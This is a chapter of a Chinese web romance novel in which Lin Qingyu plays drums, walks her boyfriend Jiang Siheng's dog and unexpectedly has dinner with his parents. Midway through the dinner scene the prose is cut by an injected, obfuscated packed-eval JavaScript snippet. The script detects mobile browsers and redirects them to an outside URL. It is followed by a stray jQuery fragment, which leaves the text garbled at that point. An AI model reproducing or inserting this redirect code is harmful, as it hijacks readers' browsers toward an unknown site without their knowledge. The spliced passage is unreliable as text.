86. 坦白
作品:《冬日池鱼》 周末,因为林清鱼不想窝在家里,江司衡便陪她出去散步。
路过一家琴行,林清鱼好奇地走进去。
虽说是叫琴行,但里头摆了好多乐器,钢琴、吉他、架子鼓…各种乐器都有。
开设琴行只是老板的副职,有空才会过来店里一趟,今天正巧被他们碰上了。
因为老板以前是爵士乐专业的,对架子鼓涉略很深,便很熟捻地同林清鱼多交流了几句。
他这店里还负责教青少年乐器学习,因此有一部分乐器在非卖区内,是专门供人训练用的。
碰到个懂行的,他自然很客气地允许林清鱼使用。
想起自认识江司衡之后,自己也就在公众场合打过两次架子鼓。第一次,因为冷战,他没来;第二次,她下场后就看到江司衡还在后台,虽然是看了,但自己的位置离下场方向远得很,他那个方位应当是看不清的。
于是,她默认江司衡两次都没看过。她撒气道:“江司衡,你都没看过我表演。”
江司衡眉一抬,有些诧异。但想起什么,只是笑了笑,没解释:“那我今天有这个荣幸,成为你最大的观众吗?”
林清鱼很受用这句话,她傲娇地撇过头:“勉强满足你吧。”
因为没有谱子,她随便敲了首自己最熟悉的曲子。
尽兴之时,她下意识抬头去看面前那人,才发觉不知何时他已经拿起手机在对着她拍。
林清鱼镜头意识很强,一瞬间坐得板正,表情也控制了起来。
她能听见江司衡很明显的一声笑,但依旧维持着面上的做作。
一曲结束,她从椅子上下来,第一件事率先去看他拍得怎么样。
江司衡是录的视频,但是角度找的很好,可以说是丝毫没有折损她的美貌了。
她惊讶地感叹了句:“拍这么好看,练过呀?”
江司衡眉眼含笑,很幽默地说:“怕拍得不好,会被取消男朋友的身份。”
出去后。
江司衡牵着她的手,两人走在充满烟火气的街巷。
摸到她手指上的薄茧,他问:“学这个累不累?”
林清鱼没直接回答,反问道:“你平时学习会不会累?”
江司衡嗯了声。
“一个道理的,学久了也会累。”
她想了想,又补充:“但又不太一样,学习是不得不学,这个是自己想学,所以算是…痛并快乐着?”
江司衡低低笑了声,有点好奇:“当初为什么会想学这个?”
林清鱼给的理由很简单:“当时是看电视剧,觉得里面的主角打架子鼓特别帅,我就在想我也要装一把,于是就跟我妈妈吵着闹着要去学。”
她眼睛亮亮的,继续说:“当时我才四年级,才刚学会动次打次,我妈就一个劲儿地和老师说我真有天赋。还总担心我会不会太累,送过去没多久就一直问我要不要歇几天,其实我那段时间一直在偷懒。”
她是个不会亏待自己的人,累了就停下来,饿了就吃饭。再加上家里人也都宠着她,就这么有恃无恐地活了二十二年。
要说她这辈子碰过最大的硬茬,那一定就是追江司衡。
毕竟先前看大家谈得那么容易,再加上江司衡那句女追男很简单,她还以为是他一开始装矜持,忍个一周就能成了。哪知费了这么大的劲儿。
眼泪流了不少,心情低落了好几次,简直把先前那二十多年没吃的苦全都补上了。
好在,苦尽甘来。
幸福也是降临在她掌心了。
江司衡很喜欢听她叨叨念,觉得她说的每一句话都很有意思,也像是在走近她的人生,了解她的每个喜好,所以每一次都会很耐心地听完她说的每句话,哪怕是骂人的话。
猝然想起自己有好一段时间没回过家了,他垂眸询问:“要不要去我家见一见哼哼?”
林清鱼心里是想的,但今天是周日,她心里有顾虑:“你爸妈应该在家吧?”
到时候碰见了多尴尬。
江司衡顿了下,翻出一条聊天记录给她看,说道:“他们今天出去了。”
屏幕上面是江母同他说今天和江父一起去逛商场、看电影的事情。
见林清鱼还有犹豫,他补充道:“不会这么早回来的,他们应该还会在外面吃个晚饭。”
林清鱼盘算了下时间,似乎也是充足的,于是便答应了。
因为不太好意思踏进他家,于是便在小区楼下等着他把哼哼溜出来。
哼哼这段时间真是肉眼可见被养得很好,那张毛茸茸的小白脸感觉又胖了些。
不知是不是被江司衡在楼上警告过,这回见着林清鱼没再往她身上怼,只是蜻蜓点水般地蹭了她一下。
林清鱼没溜过狗,想试试,于是便去接江司衡的栓绳。
虽然把绳子交给她了,但江司衡有点不放心,将自己的手搭在林清鱼的手背上。
本意是想在哼哼跑快了时,帮她控下力,但这在林清鱼眼里却成了另一种意思,她坏笑说:“这种时候都要牵手呀?”
知道她误会了,但有时候也不是非解释不可,于是顺着她的话道:“这两天降温了,给你暖暖手。”
林清鱼有点害羞,不回话了。
她原以为,遛狗就跟散步一样的。头一次知道,原来这也是门体力活。
没走多久,林清鱼就累得在一旁的长椅上坐下来歇息。
哼哼很配合地也蹲在她脚下,大脑袋靠着她的腿。
天色慢慢暗下来,林清鱼很温柔地抚摸着哼哼,时不时地还会自顾念叨几句。
突然,一只大手抓住了她放在哼哼身上的手。
林清鱼愣愣地看向身侧那人,却听他略带抱怨地说:“你对哼哼,比对我还有耐心。”
她没忍住笑了笑,用另一只手去碰他的脑袋,温声说:“和狗狗也要比呀?”
江司衡嗯了声,直接承认。
林清鱼嘴巴微张,刚要开口,不远处忽地传来一声:“阿衡?”
她下意识望过去,看清来人后,忙将抵着江司衡的手撒开,整个人像是中学生被抓早恋般惶恐。
江司衡倒没有很慌,他握住林清鱼背到身后的手,指尖在她掌心处摩挲了下,有点痒,但她此刻顾不上痒。
江司衡眉眼含笑:“爸,妈,怎么这么早回来了?”
江母解释:“本来是打算在外面吃的,结果今天商场人多的很,每家门口都等了一溜人。”
她稍微偏移视线,慈爱地看向林清鱼:“是清鱼吗?”
像是课上被点到名,林清鱼倏地站起身,脊背挺得笔直,笑容有些僵:“叔叔好,阿姨好。”
江母看她这紧绷的样,觉得可爱,笑了声道:“看来我们回来得还挺是时候,晚上就在我家吃饭吧,阿姨给你做好吃的。”
林清鱼无措地看向江司衡,只听身旁的人回道:“可以的,不过今晚就不在家里住了,明天还要上班。”
江母点头:“行,那妈妈做快点,别回去太晚了。”
这还是林清鱼第一次到异性家里吃饭,他家收拾的很干净,装修是很舒服的蓝白色调。
原以为初次见面会上演短视频里那种针锋相对,哪知江司衡父母热情有趣得很,跟他们儿子一样都很好相处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827513|173099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,有点吃的就要给林清鱼提一嘴。
也不会去过问她的家庭情况、学业情况之类的,就是简简单单地吃了一顿饭。
她头一次感觉到,遗传是个很强大的东西。
因为有这么好的爸爸妈妈,所以教出了这么礼貌得体的儿子。
回家后,林清鱼早早洗完澡趴在床上玩手机。
她心情从回来就一直很好,这会儿哼着歌,一边在整理今天江司衡给自己拍的照片。
好不容易选完几张,发出去后,没多久朋友圈就一直有红圈提示。
江司衡就坐在床沿处,电脑架在腿上,加班处理事情。
将一些事情处理完后,他将电脑放到床头柜,正要去抱林清鱼时,一只邪恶的手掌先一步朝自己袭来。
不偏不倚,正好落在他的腹肌处。
隔着一层布料,她大胆地摸着布料内的纹路。
江司衡垂眸看着一旁埋着头,笑得正欢的少女,纵容地任由她胡来。
蓦然,她抬起头,话里的笑意掩饰不住:“你知道吗,我想这么干很久了。”
从他说过自己平时会健身起,从自己得知他有腹肌起,她就在等着这一刻。
江司衡长臂一伸,将她勾到自己怀里,回道:“知道。”
“知道?”
“嗯,你说过。”
林清鱼刚开始还没听懂这话是什么意思,懒懒地躺他怀里查看朋友圈消息。
她发的照片里,有一张是从江司衡录的视频截下来的,自己打架子鼓的图片。
也因此,肖塘难免会在底下评论道:今年的狂欢夜要不要再一起组个节目?
林清鱼回复道:今年就算了,属实是腾不出时间。
就在江司衡眼皮子底下回复的,他自然看得一清二楚,询问道:“为什么不再参加一次?”
林清鱼笑道:“某人前两天不是还吃醋吗?”
她挪了个躺得舒服的位置,补充道:“不过我是真的没空啦。”
一周就只有一天假期,虽然晚上时间是腾出来了,但两头来回跑也麻烦。
有心无力的事,她就不随便答应了。
她又不安分地伸出手指头,这回直接伸进衣服里去戳,一边碰还一边偷笑:“练这么好,之前怎么那么吝啬不给看?”
江司衡沉默几秒,突然问道:“你这些话,对别的男生说过吗?”
“啥?”
林清鱼依旧没立刻反应过来。
只是在联想到他刚刚的那句话后,她突然想起,在没追到他时,自己后一阶段胆子越来越大,时不时地就给他发一些“勇气可嘉”的话:
-你今天穿得真好看,给我钓成翘嘴了。
-你腹肌能给摸吗,或者看一下也行,我这人不贪心的。
-你会觉得我很轻浮吗,就老师课上说的那个S型曲线,我觉得我不符合S型。我呈指数型,一看到你歹念直升。
-你应该不抽烟吧,你看着就香香的。
-你怎么老跑回家,搞得我周末都见不着你人。冒昧问一句,我没事也可以往你家跑吗?
……
她顿时一阵脸红。
连忙从他怀里弹开,双手打了个叉,抵在胸前:“你可别污蔑我啊,我说了,我就追过你一个人。”
那些骚话也只他可见。
江司衡再次将她拉进怀里:“好。”
“这就信了?”
不需要她再掰扯几句吗。
江司衡笑道:“你说的我都信。”
林清鱼冷不丁道:“那你之前怎么不信?”
某人再次哑声。

